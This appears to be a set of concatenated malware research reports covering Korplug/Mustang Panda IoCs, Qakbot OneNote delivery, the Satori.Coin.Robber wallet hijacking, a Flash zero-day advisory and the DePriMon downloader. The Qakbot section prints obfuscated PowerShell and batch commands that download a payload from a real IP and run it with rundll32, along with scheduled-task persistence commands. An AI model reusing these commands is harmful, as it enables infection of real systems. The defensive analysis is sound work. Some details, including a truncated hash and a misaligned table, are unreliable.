| 10AE4784D0FFBC9CD5FD85B150830AEA3334A1DE | N/A | Win32/Korplug.TC | Decrypted Korplug (dumped from memory) |
| 4EBFC035179CD72D323F0AB357537C094A276E6D | PowerDVD18.exe | Win32/Delf.UTN | Korplug loader |
| FDBB16B8BA7724659BAB5B2E1385CFD476F10607 | N/A | Win32/Korplug.TB | Decrypted Korplug (dumped from memory) |
| 7E059258CF963B95BDE479D1C374A4C300624986 | N/A | Win32/Korplug.TC | Decrypted Korplug (dumped from memory) |
| 7992729769760ECAB37F2AA32DE4E61E77828547 | SHELLSEL.ocx | Win32/Agent.ADMW | Korplug loader |
| F05E89D031D051159778A79D81685B62AFF4E3F9 | SymHp.exe | Win32/Delf.UTN | Korplug loader |
| AB01E099872A094DC779890171A11764DE8B4360 | BoomerangLib.dll | Win32/Korplug.TH | Korplug loader |
| CDB15B1ED97985D944F883AF05483990E02A49F7 | PotPlayer.dll | Win32/Agent.ADYO | Korplug loader |
| 908F55D21CCC2E14D4FF65A7A38E26593A0D9A70 | SmadHook32.dll | Win32/Agent.ADMW | Korplug loader |
| 477A1CE31353E8C26A8F4E02C1D378295B302C9E | N/A | Win32/Agent.ADMW | Korplug loader |
| 52288C2CDB5926ECC970B2166943C9D4453F5E92 | SmadHook32c.dll | Win32/Agent.ADMW | Korplug loader |
| CBD875EE456C84F9E87EC392750D69A75FB6B23A | SHELLSEL.ocx | Win32/Agent.ADMW | Korplug loader |
| 2CF4BAFE062D38FAF4772A7D1067B80339C2CE82 | Adobe_Caps.dll | Win32/Agent.ADMW | Korplug loader |
| 97C92ADD7145CF9386ABD5527A8BCD6FABF9A148 | DocConvDll.dll | Win32/Agent.ADYO | Korplug loader |
| 39863CECA1B0F54F5C063B3015B776CDB05971F3 | N/A | Win32/Korplug.TD | Decrypted Korplug (dumped from memory) |
## Network
| Domain | IP | First seen | Notes |
|--------|----|------------|-------|
| 103.56.53[.]120 | 2021‑06‑15 | Korplug C&C |
| 154.204.27[.]181 | 2020‑10‑05 | Korplug C&C |
| 43.254.218[.]42 | 2021-02-09 | Download server |
| 45.131.179[.]179 | 2020‑10‑05 | Korplug C&C |
| 176.113.69[.]91 | 2021-04-19 | Korplug C&C |
| upespr[.]com | 45.154.14[.]235 | 2022-01-17 | Download server |
| urmsec[.]com | 156.226.173[.]23 | 2022‑02‑23 | Download server |
| 101.36.125[.]203 | 2021-06-01 | Korplug C&C |
| 185.207.153[.]208 | 2022‑02‑03 | Download server |
| 154.204.27[.]130 | 2021-12-14 | Korplug C&C |
| 92.118.188[.]78 | 2022-01-27 | Korplug C&C |
| zyber-i[.]com | 107.178.71[.]211 | 2022-03-01 | Download server |
| locvnpt[.]com | 103.79.120[.]66 | 2021-05-21 | Download server. This domain was previously used in a 2020 campaign documented by Recorded Future. |
## MITRE ATT&CK techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Resource Development | T1583.001 | Acquire Infrastructure: Domains | Mustang Panda has registered domains for use as download servers. |
| Resource Development | T1583.003 | Acquire Infrastructure: Virtual Private Server | Some download servers used by Mustang Panda appear to be on shared hosting. |
| Resource Development | T1583.004 | Acquire Infrastructure: Server | Mustang Panda uses servers that appear to be exclusive to the group. |
| Resource Development | T1587.001 | Develop Capabilities: Malware | Mustang Panda has developed custom loader and Korplug versions. |
| Resource Development | T1588.006 | Obtain Capabilities: Vulnerabilities | Multiple DLL hijacking vulnerabilities are used in the deployment process. |
| Resource Development | T1608.001 | Stage Capabilities: Upload Malware | Malicious payloads are hosted on the download servers. |
| Execution | T1059.003 | Command and Scripting Interpreter: Windows Command Shell | Windows command shell is used to execute commands sent by the C&C server. |
| Execution | T1106 | Native API | Mustang Panda uses CreateProcess and ShellExecute for execution. |
| Execution | T1129 | Shared Modules | Mustang Panda uses LoadLibrary to load additional DLLs at runtime. The loader and RAT are DLLs. |
| Execution | T1204.002 | User Execution: Malicious File | Mustang Panda relies on the user executing the initial downloader. |
| Execution | T1574.002 | Hijack Execution Flow: DLL Side-Loading | The downloader obtains and launches a vulnerable application so it loads and executes the malicious DLL that contains the second stage. |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Korplug can persist via registry Run keys. |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Korplug can persist by creating a scheduled task that runs on startup. |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | The Korplug file is encrypted and only decrypted at runtime, and its configuration data is encrypted with XOR. |
| Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | Directories created during the installation process are set as hidden system directories. |
| Defense Evasion | T1564.003 | Hide Artifacts: Hidden Window | Korplug can run commands on a hidden desktop. Multiple hidden windows are used during the deployment process. |
| Defense Evasion | T1070 | Indicator Removal on Host | Korplug’s uninstall command deletes registry keys that store data and provide persistence. |
| Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion | Korplug can remove itself and all created directories. |
| Defense Evasion | T1070.006 | Indicator Removal on Host: Timestomp | When writing to a file, Korplug sets the file’s timestamps to their previous values. |
| Defense Evasion | T1036.004 | Masquerading: Masquerade Task or Service | Scheduled tasks created for persistence use legitimate-looking names. |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | File and directory names match expected values for the legitimate app that is abused by the loader. |
| Defense Evasion | T1112 | Modify Registry | Korplug can create, modify, and remove registry keys. |
| Defense Evasion | T1027 | Obfuscated Files or Information | Some downloaded files are encrypted and stored as hexadecimal strings. |
| Defense Evasion | T1027.005 | Obfuscated Files or Information: Indicator Removal from Tools | Imports are hidden by dynamic resolution of API function names. |
| Defense Evasion | T1055.001 | Process Injection: Dynamic-link Library Injection | Some versions of the Korplug loader inject the Korplug DLL into a newly launched process. |
| Defense Evasion | T1620 | Reflective Code Loading | Korplug parses and loads itself into memory. |
| Discovery | T1083 | File and Directory Discovery | Korplug can list files and directories along with their attributes and content. |
| Discovery | T1082 | System Information Discovery | Korplug collects extensive information about the system including uptime, Windows version, CPU clock rate, amount of RAM and display resolution. |
| Discovery | T1614 | System Location Discovery | Korplug retrieves the system locale using GetSystemDefaultLCID. |
| Discovery | T1016 | System Network Configuration Discovery | Korplug collects the system hostname and IP addresses. |
| Discovery | T1016.001 | System Network Configuration Discovery: Internet Connection Discovery | The downloader pings Google’s DNS server to check internet connectivity. |
| Discovery | T1033 | System Owner/User Discovery | Korplug obtains the current user’s username. |
| Discovery | T1124 | System Time Discovery | Korplug uses GetSystemTime to retrieve the current system time. |
| Collection | T1005 | Data from Local System | Korplug collects extensive data about the system it’s running on. |
| Collection | T1025 | Data from Removable Media | Korplug can collect metadata and content from all mapped drives. |
| Collection | T1039 | Data from Network Shared Drive | Korplug can collect metadata and content from all mapped drives. |
| Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | Korplug can make the initial handshake over HTTPS. |
| Command and Control | T1095 | Non-Application Layer Protocol | C&C communication is done over a custom TCP-based protocol. |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | C&C communication is encrypted using RC4. |
| Command and Control | T1008 | Fallback Channels | The Korplug configuration contains fallback C&C servers. |
| Command and Control | T1105 | Ingress Tool Transfer | Korplug can download additional files from the C&C server. |
| Command and Control | T1571 | Non-Standard Port | When Hodur performs its initial handshake over HTTPS, it uses the same port as for the rest of the communication. |
| Command and Control | T1132.001 | Data Encoding: Standard Encoding | Korplug compresses transferred data using LZNT1. |
| Exfiltration | T1041 | Exfiltration Over C2 Channel | Data exfiltration is done via the same custom protocol used to send and receive commands. | |
# Qakbot Evolves to OneNote Malware Distribution
By Pham Duy Phuc, Raghav Kapoor, John Fokker J.E., Alejandro Houspanossian, and Mathanraj Thangaraju · March 07, 2023
Qakbot (aka QBot, QuakBot, and Pinkslipbot) is a sophisticated piece of malware that has been active since at least 2007. Since the end of January 2023, there has been an upsurge in the number of Qakbot campaigns using a novel delivery technique: OneNote documents for malware distribution. Moreover, the Trellix Advanced Research Center has detected various campaigns that used OneNote documents to distribute other malware such as AsyncRAT, Icedid, XWorm, etc.
## Brief history of Qakbot
Qakbot banking trojan is a sophisticated and dangerous piece of malware that has been active since at least 2007. Qakbot has worm-like capabilities that allow it to propagate an infected network autonomously. It is primarily used to steal sensitive information from infected systems, such as login credentials and financial information, and can also be used to download and execute additional malware on the victim system. New functionalities have been added to include C2 communication to acquire additional malware modules and perform data exfiltration. Qakbot also contains multiple evasion techniques and sandbox detection.
The malware is primarily spread through phishing emails and malicious attachments, although Qakbot has also been observed as a secondary payload, dropped by other botnets such as Emotet. Qakbot has been used to drop ransomware such as Prolock, Egregor, and DoppelPaymer. It also used to be associated with TA570, which often uses the malware as an initial entry point in their campaigns.
### Qakbot infection rate for the last 3 months
This timeline shows the global Qakbot infection rate for the last 3 months, highlighting the continued threat of this dangerous malware distribution. Despite efforts to combat the virus over a decade, Qakbot remains a significant risk to individuals and organizations worldwide. Several outbreaks of Qakbot infections have been detected in numerous countries. We have seen a considerable number of infections in the United States, India, Turkey, and Thailand, despite the fact that these campaigns do not seem to target a specific industry or country. The sector with the highest number of infected IoCs was Banking, Financial, Wealth Management, followed by Government and Outsourcing.
### Global heatmap of Qakbot detection over the last 3 months
Over the years, Qakbot has evolved with significant changes in terms of infection vectors. Email has been the preferred initial attack vector for threat actors. Recently, hijacked email threats have become popular for injecting their malicious email. A report from Sophos indicated that malicious actors were starting to distribute spearphishing emails with malicious Microsoft OneNote documents to infect users with variants from the Qakbot malware family.
Our research presents an analysis of a new spreading vector of the Qakbot malware. Specifically, an analysis of malicious OneNote documents that led to a Qakbot loader DLL and its unpacked form. We will show how we deobfuscate, unpack malicious parts, and extract their configurations. Based on our investigation, we believe that the tactic of leveraging OneNote documents to distribute other malware variants will continue to rise.
### Initial infection vector
Email has been the initial attack vector for the malware families abusing OneNote documents as the infection vector. Attackers have been alternating between two attack vectors in different waves to achieve their goals:
1. **URL embedded in email downloads the malicious file**: URL-based attacks were coupled with IP address and User-Agent evasion which would only serve the malicious file if the User-Agent string comes from a Microsoft Windows computer. User-Agents from browsers on Mac/iOS, Linux, and Android are ignored. In addition, they employed schemeless URLs to avoid detection, as some analysis engines are not capable of identifying and extracting these patterns.
2. **Malicious file as email attachment**: Attackers have used different attachment types to deliver the payload. Over time, they have used ZIP files, HTML files, PDF files, and now OneNote files. They coupled it with password protection to evade analysis where the password was either mentioned in the email or the file would be hosted on legit services with the password mentioned on the download page.
### Phishing email with OneNote document as attachment
We have seen different variations of OneNote documents being used in these campaigns. A Call-to-Action button (CTA) is present in all the OneNote documents which requires Click Action to execute the embedded payload. If the victim believes the fake message and clicks on the CTA button, the embedded attachment will be opened with a warning message box. Once the victim clicks on "OK", there is no warning message anymore, and it will download and execute the remote payload.
## First-stage malware analysis: Microsoft OneNote document
### Introduction to OneNote threat vector
Microsoft OneNote is a note-taking collaboration tool that allows users to capture and organize their thoughts, ideas, and notes. It is installed by default from the Microsoft Office suite and is available on a wide range of platforms, including Windows, macOS, Android, and iOS. OneNote documents are often overlooked when performing malware detection. Even though OneNote cannot execute VBA macros, it has significant potential for phishing as an initial vector. OneNote has the following advantages:
- Offers a formatting capability that can lure users into opening malicious files or links.
- Not impacted by Office Protected View or Mark of the Web protection.
- OneNote supports integration with other Microsoft Office applications, such as Outlook, Word, Excel, and PowerPoint which can be displayed without Protected View.
- Allows for the embedding of MSF, BAT, HTA, BAT, EXE files, and other executable extensions.
- Portability of code development through the OneNote XML objects makes it easier for threat actors to automatically generate a large volume of obfuscated variants.
In this research, we analyze a specific sample identified by the MD5 hash `83feba178d0097929e6efeb27719d5db`. It belongs to a Qakbot campaign which is primarily spread through spam email that includes Office OneNote document attachments. The Trellix Advanced Research Center’s Threat Intelligence Group gathers and analyzes information from multiple open and closed sources before disseminating this report.
### First-stage OneNote sample information
- **Filename**: Funds_834333.one
- **MD5**: 83feba178d0097929e6efeb27719d5db
- **SHA-1**: e50f09e56a72b14ff200b94ca583c3f9bb1112b1
- **SHA-256**: 033ca3aa775a34a7a4b6533b0fb744c9c71ab6
- **File size**: 171 KB
To parse its information, a few free tools can help in analyzing OneNote documents such as OneNoteAnalyzer, One-Extract, Onedump.py. This specific OneNote sample contains CMD (Windows Command File), which indicates that it may include executable code. Below is the metadata that was extracted using OneNoteAnalyzer:
From the extracted metadata, we notice that the attached CMD was last saved under the path "Z:\build\one" on 2/6/2023 using Microsoft OneNote 2010. The CMD payload that contains the malicious payload is shown in the code below:
```powershell
powershell.exe $aV2hgYDB = '5d44a2b0d85aa1a4dd3f218be6422c66';
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnNldCBhTWVXMUU9YTgweU9zDQpzZXQgYVRacG9MPWFxRDE4R1kNCnNldCBhZmhIZUo9YUdzSzR5VWpmDQpwb3dlcnNoZWxsIChuZXctb2JqZWN0IHN5c3RlbS5uZXQud2ViY2xpZW50KS5kb3dubG9hZGZpbGUoJ2h0dHA6Ly8yMTYuMTIwLjIwMS4xMDAvNjA4NTIuZGF0JywgJ0M6XHByb2dyYW1kYXRhXGdiLmpwZycpOw0Kc2V0IGFqYXM0YkVGPWFmd1VwUQ0Kc2V0IGE4bFdJajQ9YXhUOHV2OXANCmNhbGwgcnUlMWxsMzIgQzpccHJvZ3JhbWRhdGFcZ2IuanBnLFdpbmQNCmV4aXQNCg=='))
> C:\Users\Public\1.cmd&&start /min C:\Users\Public\1.cmd
```
This command launches PowerShell and sets a variable, `$aV2hgYDB`, to a specific value. It then decodes a base64-encoded string and executes the resulting command, which downloads and executes a file from a specific URL. The output of this command is redirected to a file named "1.cmd" located in the “Public” user folder, and the script then launches this file, running the command contained within it.
We have the following decoded Base64 code:
```batch
@echo off
set aMeW1E=a80yOs
set aTZpoL=aqD18GY
set afhHeJ=aGsK4yUjf
powershell (new-object system.net.webclient).downloadfile('http://216.120.201.100/60852.dat', 'C:\programdata\gb.jpg');
set ajas4bEF=afwUpQ
set a8lWIj4=axT8uv9p
call rundll32 C:\programdata\gb.jpg,Wind
exit
```
This script begins by turning off command echoing. It then sets several variables to specific values. The script executes a PowerShell command to download a file from a specified URL and save it to 'C:\programdata\gb.jpg'. The script executes a command to run "rundll32" command and the 'C:\programdata\gb.jpg' file as arguments along with Wind as module name. This will execute the file as a DLL.
To download the remote payload, the malware uses `powershell (new-object system.net.webclient).downloadfile` which makes a request to a remote host without a User-Agent header. We observed in other OneNote campaigns that use cURL and PowerShell Invoke-WebRequest. Since the malware is evolving over time, one might want to fetch the remote payload manually to monitor by executing the following command:
```bash
curl http://216.120.201.100/60852.dat -H 'User-Agent:' --output gb.jpg
```
### Second-stage malware analysis: malicious Loader DLL
#### Second-stage DLL static information of gb.jpg
- **MD5**: 891c7d5050fe852a032eeda9311498e8
- **SHA-1**: 52975754a7e3048c5b587e4926e99cb5c8123929
- **SHA-256**: e16e0faae0e9851a782d026f6692e34a9c7bae14c545aa8ac1e1ef033dfd06a8
- **File size**: 307 KB
- **Name**: libKF5ItemViews.dll
- **Build date**: 2010-08-17 14:54:22
This DLL contains multiple sections, including 458 exports, which are functions that can be called by other programs. In this case, the malicious activity can only be executed via the export named "Wind" or its ordinary number #458; otherwise, sandbox analysis will fail to monitor any malicious behaviors.
The entry point "Wind" in the DLL file is obfuscated using various evasion techniques, such as direct and conditional jumps. It contains a shellcode that will be decrypted using XOR and then executed in memory. This shellcode further decrypts the main Qakbot DLL, frees itself from memory, and executes the main Qakbot payload in the end.
This particular sample leverages a variety of anti-debugging techniques, so it is recommended that analysts utilize anti-evasion solutions when configuring the debugger environment.
### Third-stage malware analysis: Qakbot Core DLL
There are already numerous detailed reports available about this Qakbot variant’s behavior and techniques, which provide in-depth analysis of its capabilities and modus operandi. Our focus is presenting the key findings related to this sample: String obfuscation, Persistence, Evasion techniques, and C2 communication, rather than duplicating the information that is already readily available.
#### String obfuscation
Most of the significant string values in the malware binary have been encrypted; therefore, nothing will be returned from static analysis tools such as strings. However, they can be decrypted using static extraction. The encrypted strings and keys are hardcoded in four separate locations that are loaded onto the stack or register, and then called to function to decrypt them.
#### Persistence
The execution of the following commands demonstrates the persistence mechanism employed by the malware:
- `"%s\system32\schtasks.exe" /Create /ST %02u:%02u /RU "NT AUTHORITY\SYSTEM" /SC ONCE /tr "%s" /Z /ET %02u:%02u /tn %s`
- `schtasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /SC ONSTART /TN %u /TR "%s" /NP /F`
This sample either creates scheduled tasks or creates a registry run key in `SOFTWARE\Microsoft\Windows\CurrentVersion\Run`.
#### Process injection
When the DLL payload is executed, it will inject its malicious code into a legitimate Windows OS process to perform defense evasion. Below is the list of processes that can be injected by the Qakbot core DLL during its execution:
- %SystemRoot%\System32\wermgr.exe
- %SystemRoot%\SysWOW64\OneDriveSetup.exe
- %SystemRoot%\System32\xwizard.exe
- %SystemRoot%\System32\msra.exe
- %SystemRoot%\System32\dxdiag.exe
- %SystemRoot%\SysWOW64\xwizard.exe
- %SystemRoot%\System32\AtBroker.exe
- %SystemRoot%\SysWOW64\mobsync.exe
- %SystemRoot%\SysWOW64\wermgr.exe
- %SystemRoot%\SysWOW64\AtBroker.exe
- %SystemRoot%\explorer.exe
- %SystemRoot%\System32\OneDriveSetup.exe
- %SystemRoot%\SysWOW64\CertEnrollCtrl.exe
- %SystemRoot%\SysWOW64\msra.exe
- %SystemRoot%\SysWOW64\dxdiag.exe
- %SystemRoot%\System32\CertEnrollCtrl.exe
- %SystemRoot%\System32\mobsync.exe
- %SystemRoot%\SysWOW64\explorer.exe
#### Evasion techniques
The malware payload checks for Windows Defender Emulation using WinAPI `GetFileAttributes` of “C:\INTERNAL\__empty”. It verifies a list of processes that are related to antivirus products.
### Threat Detection Strategies
This section is mainly targeted to security teams working on detection engineering and threat hunting. It consists of campaign’s key behaviors, detection opportunities, and mitigations.
#### Key Behaviors (TTPs)
- **Initial Access**: Phishing: Spearphishing Attachment (T1566.001)
- **Execution**: User Execution: Malicious File (T1204.002)
- **Defense Evasion**: System Binary Proxy Execution: MSHTA (T1218.005)
- **Command And Control**: Ingress Tool Transfer (T1105)
### Prevention and Mitigation
On top of CISA’s counter-phishing recommendations, we recommend the following prevention and mitigation countermeasures against this campaign:
1. Block emails with attachments with uncommon file extensions (.one, .hta, .vbs, .js, .wsf, .iso, .vhd, .img).
2. Block known malicious sites.
3. Block rarely used top-level domains.
4. Block network connections initiated by commonly abused system binaries (e.g., MSHTA.exe, RunDll32.exe, cmd.exe).
5. Change default file associations for script file formats that are uncommon in your environment (e.g., .wsf, .js, .hta, .vba, .chm, .cmd).
6. Block PE File Creation on paths commonly used by malware (e.g., %PROGRAMDATA%).
### Conclusion
This research presents an analysis of a new spreading vector of the Qakbot malware. It consists of detailed analyses of OneNote malicious documents, loader Qakbot DLL, and its main payload. We show how we deobfuscated and unpacked Qakbot and extracted their configurations.
Even though these Qakbot campaigns do not seem to target a specific industry or territory, we have seen a considerable number of infections in the United States, India, Turkey, and Thailand. Based on our investigation, we believe that this tactic will continue to rise in other campaigns. Threat actors will make attempts to bypass detection from security solutions by exploring other evasion techniques such as embedding other malicious Office types inside OneNote or other classic executable file tactics: Java, Python, SCR, MSI, etc. We recommend organizations and users to follow our proposed prevention and mitigation countermeasures against this campaign. |
# Art of Steal: Satori Variant is Robbing ETH BitCoin by Replacing Wallet Address
**RootKiter**
January 17, 2018
The security community was moving very fast to take actions and sinkhole the Satori botnet C2 after our December 5 blog. The spread of this new botnet has been temporarily halted, but the threat still remains.
Starting from 2018-01-08 10:42:06 GMT+8, we noticed that one Satori’s successor variant (we name it Satori.Coin.Robber) started to reestablish the entire botnet on ports 37215 and 52869.
What really stands out is something we had never seen before; this new variant actually hacks into various mining hosts on the internet (mostly Windows devices) via their management port 3333 that runs Claymore Miner software and replaces the wallet address on the hosts with its own wallet address.
From the most recent pay record till 2018-01-16 17:00 GMT+8, we can see:
- Satori.Coin.Robber is actively mining, with the latest update 5 minutes ago.
- Satori.Coin.Robber owns an average calculation power of 1606 MH/s for the last 2 days; the account has accumulated 0.1733 ETH coins over the past 24 hours.
- Satori.Coin.Robber has already got the first ETH coin paid at 14:00 on January 11, 2017, with another 0.76 coin in the balance.
Also worth mentioning is that the author of Satori.Coin.Robber claims his current code is not malicious and leaves an email address:
*Satori dev here, don't be alarmed about this bot it does not currently have any malicious packeting purposes move along. I can be contacted at [email protected].*
## A Series of Security Issues on Claymore Miner Remote Management
Claymore Miner is a popular coin-mining software used by quite a lot of mining devices these days. According to its document, the Claymore Miner Windows version provides a remote monitoring and/or management interface on port 3333 (the EthMan.exe file in the “remote management” directory). And by default, earlier versions allow not only remote reading for mining status but also operations like restart, upload files, and some other control operations.
Apparently, the above feature is a security issue. As a fix, after version 8.1, the Claymore Miner will not use port 3333 but -3333 (a negative one) as the startup parameter by default, which means read-only monitoring actions are supported, but other controlling actions are all denied.
But this is not the end. In November 2017, CVE-2017-16929 went public, which allows remote read and/or write to arbitrary files for Claymore Miner. The corresponding exploit code has also been disclosed.
The scanning payload (the exploit code) we are going to discuss here is different from all above though. It works primarily on the Claymore Mining equipment that allows management actions on 3333 ports with no password authentication enabled (which is the default config). In order to prevent potential abuse, we will not discuss too much detail in this article.
## Satori.Coin.Robber Variant is Exploiting above Issue to Rob ETH Coins
From 2018-01-08 to 2018-01-12, we have captured the following malware samples:
- 737af63598ea5f13e74fd2769e0e0405
- 141c574ca7dba34513785652077ab4e5
- 4e1ea23bfe4198dad0f544693e599f03
- 126f9da9582a431745fa222c0ce65e8c
- 74d78e8d671f6edb60fe61d5bd6b7529
- 59a53a199febe331a7ca78ece6d8f3a4
These samples are subsequent variants of Satori, which scan not only the previous 37215 and 52869 ports but also the 3333 ports. The payload on three ports are:
- **Port 37215**: Known, exploiting vulnerabilities CVE-2017-17215, Huawei recently released the relevant statement.
- **Port 52869**: Known, exploiting vulnerabilities CVE-2014-8361, related to some Realtek SDK, the exploit code PoC is published since 2016.
- **Port 3333**: Newly emerged, exploiting ETH mining remote management interface mentioned above.
The scanning payload on port 3333 is shown in the above image. Satori.Coin.Robber issues three packets respectively:
1. Package 1: miner_getstat1, get mining state.
2. Package 2: miner_file, update reboot.bat file, replace the mine pool and wallet address.
3. Package 3: miner_reboot, reboot the host with new wallet.
During this process, the mining pool and the wallet will be replaced:
- New pool: eth-us2.dwarfpool.com:8008
- New wallet: 0xB15A5332eB7cD2DD7a4Ec7f96749E769A371572d
## Similarities and Differences between Satori.Coin.Robber and the Original Satori
Comparison between Satori.Coin.Robber and Satori:
- **737af63598ea5f13e74fd2769e0e0405**: Satori.Coin.Robber
- **5915e165b2fdf1e4666a567b8a2d358b**: satori.x86_64, the original Satori in October 2017.
### Similarities:
- **Code**: Both use UXP packing, with the same magic number 0x4A444E53. The unpacked code shares similar code structures.
- **Configurations**: The configurations are both encrypted. The encryption algorithm and a large number of configuration strings are the same. For example, /bin/busybox SATORI, bigbotPein, 81c4603681c46036, j57*&jE, etc.
- **Scanning payload**: Both scan ports 37215 and 52869 and share the same payload.
### Differences:
- **Scanning payload**: Satori.Coin.Robber added a new payload against Claymore Miner on port 3333.
- **Scanning process**: Satori.Coin.Robber adopts an asynchronous network connection (NIO) method to initiate a connection, which improves scan efficiency.
- **C2 Protocol**: Satori.Coin.Robber enables a new set of C2 communication protocols that communicate with 54.171.131.39 using the DNS protocol.
## Satori.Coin.Robber's New C2 Communications Protocol
C2 of Satori.Coin.Robber:
- A hard-coded IP address 54.171.131.39, located in Dublin, Ireland. The communication protocol is based on DNS protocol, which can be tested by query like "[email protected] $DNS-QNAME any+short", and different $DNS-QNAME corresponds to different functions.
All C2 protocol lists as follows, note the fourth one is not written anywhere in the Satori.Coin.Robber code; we just tied and found it has DNS response. The first two responses are the same mining pool and wallet addresses used by the bot after tampering with other Claymore Miner mining equipment. However, at this stage, it seems that these server returned values are yet to be used.
## Infection Trend
We evaluate Satori.Coin.Robber's infection scale and trend by comparing the scanning volumes on three ports: 37215, 52869, and 3333.
The three figures above show that the scanning volumes of these three ports all increase sharply during this period, which is consistent with the behavior of Satori.Coin.Robber samples:
- All emerged around 2018-01-08.
- Scanning spikes were all around 2018-01-08 to 2018-01-09.
- The volumes of scanning decrease in recent few days.
- AS4766 Korea Telecom contributes most of the scanning source.
- Totally about 4.9K unique scanning source IPs. |
# Attacks Leveraging Adobe Zero-Day (CVE-2018-4878) – Threat Attribution, Attack Scenario and Recommendations
**Vulnerability**
On Jan. 31, KISA (KrCERT) published an advisory about an Adobe Flash zero-day vulnerability (CVE-2018-4878) being exploited in the wild. On Feb. 1, Adobe issued an advisory confirming the vulnerability exists in Adobe Flash Player 28.0.0.137 and earlier versions, and that successful exploitation could potentially allow an attacker to take control of the affected system. FireEye began investigating the vulnerability following the release of the initial advisory from KISA.
**Threat Attribution**
We assess that the actors employing this latest Flash zero-day are a suspected North Korean group we track as TEMP.Reaper. We have observed TEMP.Reaper operators directly interacting with their command and control infrastructure from IP addresses assigned to the STAR-KP network in Pyongyang. The STAR-KP network is operated as a joint venture between the North Korean Government's Post and Telecommunications Corporation and Thailand-based Loxley Pacific. Historically, the majority of their targeting has been focused on the South Korean government, military, and defense industrial base; however, they have expanded to other international targets in the last year. They have taken interest in subject matter of direct importance to the Democratic People's Republic of Korea (DPRK) such as Korean unification efforts and North Korean defectors. In the past year, FireEye iSIGHT Intelligence has discovered newly developed wiper malware being deployed by TEMP.Reaper, which we detect as RUHAPPY. While we have observed other suspected North Korean threat groups such as TEMP.Hermit employ wiper malware in disruptive attacks, we have not thus far observed TEMP.Reaper use their wiper malware actively against any targets.
**Attack Scenario**
Analysis of the exploit chain is ongoing, but available information points to the Flash zero-day being distributed in a malicious document or spreadsheet with an embedded SWF file. Upon opening and successful exploitation, a decryption key for an encrypted embedded payload would be downloaded from compromised third party websites hosted in South Korea. Preliminary analysis indicates that the vulnerability was likely used to distribute the previously observed DOGCALL malware to South Korean victims.
**Recommendations**
Adobe stated that it plans to release a fix for this issue the week of Feb. 5, 2018. Until then, we recommended that customers use extreme caution, especially when visiting South Korean sites, and avoid opening suspicious documents, especially Excel spreadsheets. Due to the publication of the vulnerability prior to patch availability, it is likely that additional criminal and nation state groups will attempt to exploit the vulnerability in the near term.
**FireEye Solutions Detections**
FireEye Email Security, Endpoint Security with Exploit Guard enabled, and Network Security products will detect the malicious document natively. Email Security and Network Security customers who have enabled the riskware feature may see additional alerts based on suspicious content embedded in malicious documents. Customers can find more information in our FireEye Customer Communities post. |
# DePriMon: A Malicious Downloader
ESET researchers have discovered a new downloader with a novel installation technique. DePriMon is a malicious downloader, with several stages and using many non-traditional techniques. To achieve persistence, the malware registers a new local port monitor, a trick falling under the “Port Monitors” technique in the MITRE ATT&CK knowledgebase. For that, the malware uses the “Windows Default Print Monitor” name; that’s why we have named it DePriMon. Due to its complexity and modular architecture, we consider it to be a framework.
According to our telemetry, DePriMon has been active since at least March 2017. It was detected in a private company based in Central Europe and at dozens of computers in the Middle East. Some of the domain names used as C&C servers contain Arabic words, indicating a region-specific campaign. However, DePriMon deserves attention beyond its targets’ geographical distribution: it is carefully written malware, with lots of encryption that is used properly.
To help defenders stay safe from this threat, we’ve thoroughly analyzed this newly discovered malware, focusing on the downloader itself. Because we’re missing initial stage(s), which we will refer to here as “the first stage,” we don’t know the initial distribution and compromise vector. What kind of final payload is used in the attacks is another question that remains to be answered.
However, it should be noted that, in a few cases, DePriMon was detected with ColoredLambert malware on the same computers within a short time frame. ColoredLambert is used by the Lamberts (aka Longhorn) cyberespionage group and linked to the Vault 7 leak of CIA capabilities.
## Technical Analysis
### Stage Two
Both DePriMon’s second and third stages are delivered to the victim’s disk in the first stage. The second stage installs itself and loads the third stage using an encrypted, hardcoded path. One of the possible explanations is that it was configured after the first stage of the attack occurred.
The described installation technique is unique. In principle, it is described in the MITRE ATT&CK taxonomy as “Port Monitors,” under both Persistence and Privilege Escalation tactics. We believe DePriMon is the first example of malware using this technique ever publicly described.
The second stage registers the third-stage DLL as a port monitor by creating the following registry key and value:
```
HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\Windows Default Print Monitor
Driver = %PathToThirdStageDLL%
```
Administrator rights are required for creating this registry key. At system startup, the registered DLL will be loaded by spoolsv.exe with SYSTEM privileges, which, combined with the uniqueness of this method, makes this technique very effective for attackers.
The second stage checks regularly whether there is a file in the %system32% folder with the same name as the third stage DLL file but without the “.dll” extension. This file serves as an uninstallation trigger – should DePriMon find it, it removes both this file and its own components in a secure way by overwriting the binaries and then deleting them.
### Stage Three
The third stage, responsible for downloading the main payload(s) from DePriMon’s operators, also implements some interesting techniques. For C&C communication, it uses the Microsoft implementation of SSL/TLS, Secure Channel, instead of common APIs like WinHTTP or WinInet. Its configuration is very complex, as is the way the malware handles it. Finally, the authors have put significant effort into encryption, making the DePriMon malware more difficult to analyze.
DePriMon communicates securely over TLS; however, not on a high level as is a typical scenario in malware. The connection is initialized with a Windows socket and can continue with initialization of an authenticated Security Support Provider Interface (SSPI) session with the Negotiate / NTLM SSP. After that, DePriMon uses Schannel.
SSPI is used/not used according to a particular flag in the configuration file and can utilize the local proxy settings of the machine. The implementation is similar to this example provided by Microsoft. The malware’s implementation of TLS via Schannel is similar to this example by Coast Research & Development. It includes creating credentials, performing the client handshake, and verifying the server certificate.
After the communication is established, the third stage encrypts and decrypts messages manually each time.
### Configuration
The configuration data for DePriMon’s third stage has 27 members, which is an unusually large number for a downloader. It is encrypted with AES-256 and embedded in the binary. During the first run, DePriMon’s third stage decrypts the configuration data with Key 2, encrypts it with Key 3, and stores the encrypted configuration file in a temporary folder. The filename for the configuration file is created via a specific process.
